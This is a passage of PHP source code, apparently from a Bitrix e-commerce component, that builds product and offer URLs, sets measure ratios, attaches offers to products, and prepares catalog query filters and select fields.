$item['~COMPARE_URL'] = $this->urlTemplates['~COMPARE_URL_TEMPLATE'].$item['ID'];
$item['COMPARE_URL'] = $this->urlTemplates['COMPARE_URL_TEMPLATE'].$item['ID'];
$item['~SUBSCRIBE_URL'] = $this->urlTemplates['~SUBSCRIBE_URL_TEMPLATE'].$item['ID'];
$item['SUBSCRIBE_URL'] = $this->urlTemplates['SUBSCRIBE_URL_TEMPLATE'].$item['ID'];
if (!empty($item['OFFERS']))
continue;
$priceDataByItem = $this->getPriceDataByItem($item);
$item['PRICES'] = $priceDataByItem['PRICES'];
$item['MIN_PRICE'] = $priceDataByItem['MIN_PRICE'];
$item['CAN_BUY'] = CIBlockPriceTools::CanBuy($item['IBLOCK_ID'], $this->data['CATALOG_PRICES'], $item);
}
unset($item);
}
/**
* Sets measure for all viewed products.
* @return void
*/
protected function setItemsMeasure()
{
if (!count($this->productIdsMap))
return;
$measures = $this->data['MEASURE'];
foreach ($this->items as &$item)
{
if (array_key_exists($item['CATALOG_MEASURE'], $measures))
{
$measure = $measures[$item['CATALOG_MEASURE']];
$item['~CATALOG_MEASURE_NAME'] = ($this->getLanguageId() == "ru") ? $measure["SYMBOL_RUS"] : $measure["SYMBOL_INTL"];
$item['CATALOG_MEASURE_NAME'] = Main\Text\HtmlFilter::encode($item['~CATALOG_MEASURE_NAME']);
}
}
// Ratios
$ratioIterator = CCatalogMeasureRatio::getList(
array(),
array('@PRODUCT_ID' => array_values($this->productIdsMap)),
false,
false,
array('PRODUCT_ID', 'RATIO')
);
while ($ratio = $ratioIterator->fetch())
{
if (isset($this->items[$ratio['PRODUCT_ID']]))
{
$intRatio = (int)$ratio['RATIO'];
$dblRatio = (float)$ratio['RATIO'];
$mxRatio = ($dblRatio > $intRatio ? $dblRatio : $intRatio);
if ($mxRatio < CATALOG_VALUE_EPSILON)
$mxRatio = 1;
$this->items[$ratio['PRODUCT_ID']]['CATALOG_MEASURE_RATIO'] = $mxRatio;
}
}
unset($ratio, $ratioIterator);
}
/**
* Add offers for each catalog product.
* @return void
*/
protected function setItemsOffers()
{
// filter items to get only product type (not offers)
$productIblocks = array();
foreach ($this->data['CATALOG'] as $catalog)
{
if ($catalog['CATALOG_TYPE'] == CCatalogSKU::TYPE_FULL || $catalog['CATALOG_TYPE'] == CCatalogSKU::TYPE_PRODUCT)
$productIblocks[] = $catalog;
}
// Get total offers for all catalog products
foreach ($productIblocks as &$iblock)
{
if (empty($this->iblockItems[$iblock['IBLOCK_ID']]))
continue;
//if(empty($this->arParams['OFFER_TREE_PROPS'][$iblock['OFFERS_IBLOCK_ID']]) || empty($this->arParams['PROPERTY_CODE'][$iblock['OFFERS_IBLOCK_ID']]))
// continue;
if(!isset($this->arParams['PROPERTY_CODE'][$iblock['OFFERS_IBLOCK_ID']]) && !is_array($this->arParams['PROPERTY_CODE'][$iblock['OFFERS_IBLOCK_ID']]))
$this->arParams['PROPERTY_CODE'][$iblock['OFFERS_IBLOCK_ID']] = array();
if(!isset($this->arParams['OFFER_TREE_PROPS'][$iblock['OFFERS_IBLOCK_ID']]) && !is_array($this->arParams['OFFER_TREE_PROPS'][$iblock['OFFERS_IBLOCK_ID']]))
$this->arParams['OFFER_TREE_PROPS'][$iblock['OFFERS_IBLOCK_ID']] = array();
$selectProperties = array_merge($this->arParams['PROPERTY_CODE'][$iblock['OFFERS_IBLOCK_ID']], $this->arParams['OFFER_TREE_PROPS'][$iblock['OFFERS_IBLOCK_ID']]);
$offers = CIBlockPriceTools::GetOffersArray(
array(
'IBLOCK_ID' => $iblock['IBLOCK_ID'],
'HIDE_NOT_AVAILABLE' => $this->arParams['HIDE_NOT_AVAILABLE'],
)
, $this->iblockItems[$iblock['IBLOCK_ID']]
, array()
, array("ID", "CODE", "NAME", "SORT", "PREVIEW_PICTURE", "DETAIL_PICTURE")
, $selectProperties
, $this->arParams["OFFERS_LIMIT"]
, $this->data['CATALOG_PRICES']
, $this->arParams['PRICE_VAT_INCLUDE']
, $this->data['CONVERT_CURRENCY']
);
if (empty($offers))
continue;
foreach ($offers as &$offer)
{
$linkId = (int)$offer['LINK_ELEMENT_ID'];
if (!isset($this->linkItems[$linkId]))
continue;
$offer['~BUY_URL'] = $this->urlTemplates['~BUY_URL_TEMPLATE'].$offer['ID'];
$offer['BUY_URL'] = $this->urlTemplates['BUY_URL_TEMPLATE'].$offer['ID'];
$offer['~ADD_URL'] = $this->urlTemplates['~ADD_URL_TEMPLATE'].$offer['ID'];
$offer['ADD_URL'] = $this->urlTemplates['ADD_URL_TEMPLATE'].$offer['ID'];
$offer['~COMPARE_URL'] = $this->urlTemplates['~COMPARE_URL_TEMPLATE'].$offer['ID'];
$offer['COMPARE_URL'] = $this->urlTemplates['COMPARE_URL_TEMPLATE'].$offer['ID'];
$offer['~SUBSCRIBE_URL'] = $this->urlTemplates['~SUBSCRIBE_URL_TEMPLATE'].$offer['ID'];
$offer['SUBSCRIBE_URL'] = $this->urlTemplates['SUBSCRIBE_URL_TEMPLATE'].$offer['ID'];
if (!isset($this->linkItems[$linkId]['OFFERS']))
$this->linkItems[$linkId]['OFFERS'] = array();
$this->linkItems[$linkId]['OFFERS'][] = $offer;
}
unset($offer);
}
unset($iblock);
// set selected flag
foreach ($this->items as $key => &$item)
{
$index = 0;
if (empty($item['OFFERS']))
continue;
foreach ($item['OFFERS'] as $offerKey => &$offer)
{
$offer['SELECTED'] = ($offer['ID'] == $key);
if ($offer['SELECTED'])
{
$index = $offerKey;
}
}
$item['OFFERS_SELECTED'] = $index;
}
unset($item, $offer);
}
/**
* Prepares $this->filter for CIBlockElement::getList() method.
* @return void
*/
protected function prepareFilter()
{
$this->filter = array(
"ID" => empty($this->productIdsMap) ? -1 : array_values($this->productIdsMap),
"IBLOCK_LID" => $this->getSiteId(),
"IBLOCK_ACTIVE" => "Y",
"ACTIVE_DATE" => "Y",
"ACTIVE" => "Y",
"CHECK_PERMISSIONS" => "Y",
"MIN_PERMISSION" => "R",
"IBLOCK_ID" => array_keys($this->arParams['SHOW_PRODUCTS'])
);
if ($this->arParams['HIDE_NOT_AVAILABLE'] == 'Y')
$this->filter['CATALOG_AVAILABLE'] = 'Y';
$prices = $this->data['CATALOG_PRICES'];
if (!empty($prices) && is_array($prices))
{
foreach ($prices as $value)
{
if (!$value['CAN_VIEW'] && !$value['CAN_BUY'])
continue;
$this->filter["CATALOG_SHOP_QUANTITY_".$value["ID"]] = $this->arParams["SHOW_PRICE_COUNT"];
}
unset($value);
}
unset($prices);
}
/**
* Prepares $this->selectFields for CIBlockElement::getList() method.
* @return void
*/
protected function prepareSelectFields()
{
$this->selectFields = array(
"ID",
"IBLOCK_ID",
"CODE",
"NAME",
"ACTIVE",
"DATE_ACTIVE_FROM",
"DATE_ACTIVE_TO",
"DETAIL_PAGE_URL",
"DETAIL_PICTURE",
"PREVIEW_PICTURE"
);
$prices = $this->data['CATALOG_PRICES'];
foreach ($prices as $value)
{
if (!$value['CAN_VIEW'] && !$value['CAN_BUY'])
continue;
$this->selectFields[] = $value["SELECT"];
}
}
/**
* Extract data from cache. No action by default.
* @return bool
*/
protected function extractDataFromCache()
{
return false;
}
protected function putDataToCache()
{
}
protected function abortDataCache()
{
}
/**
* Check action variable.
*
* @param array $params Component params.
* @return string
*/
protected function prepareActionVariable($params)
{
$actionVariable = (isset($params['ACTION_VARIABLE']) ? trim($params['ACTION_VARIABLE']) : '');
if ($actionVariable === '' || !preg_match("/^[A-Za-z_][A-Za-z01-9_]*$/", $actionVariable))
$actionVariable = 'action_cvp';
return $actionVariable;
}
/**
* Start Component
*/
public function executeComponent()
{
/** @global CMain $APPLICATION */
global $APPLICATION;
try
{
$this->checkModules();
$this->processRequest();
if (!$this->extractDataFromCache())
{
$this->prepareData();
$this->formatResult();
$this->setResultCacheKeys(array());
$this->includeComponentTemplate();
$this->putDataToCache();
}
}
catch (Main\SystemException $e)
{
$this->abortDataCache();
if ($this->isAjax())
{
$APPLICATION->restartBuffer();
header('Content-Type: application/json');
echo Main\Web\Json::encode(array('STATUS' => 'ERROR', 'MESSAGE' => $e->getMessage()));
die();
}
ShowError($e->getMessage());
}
}
}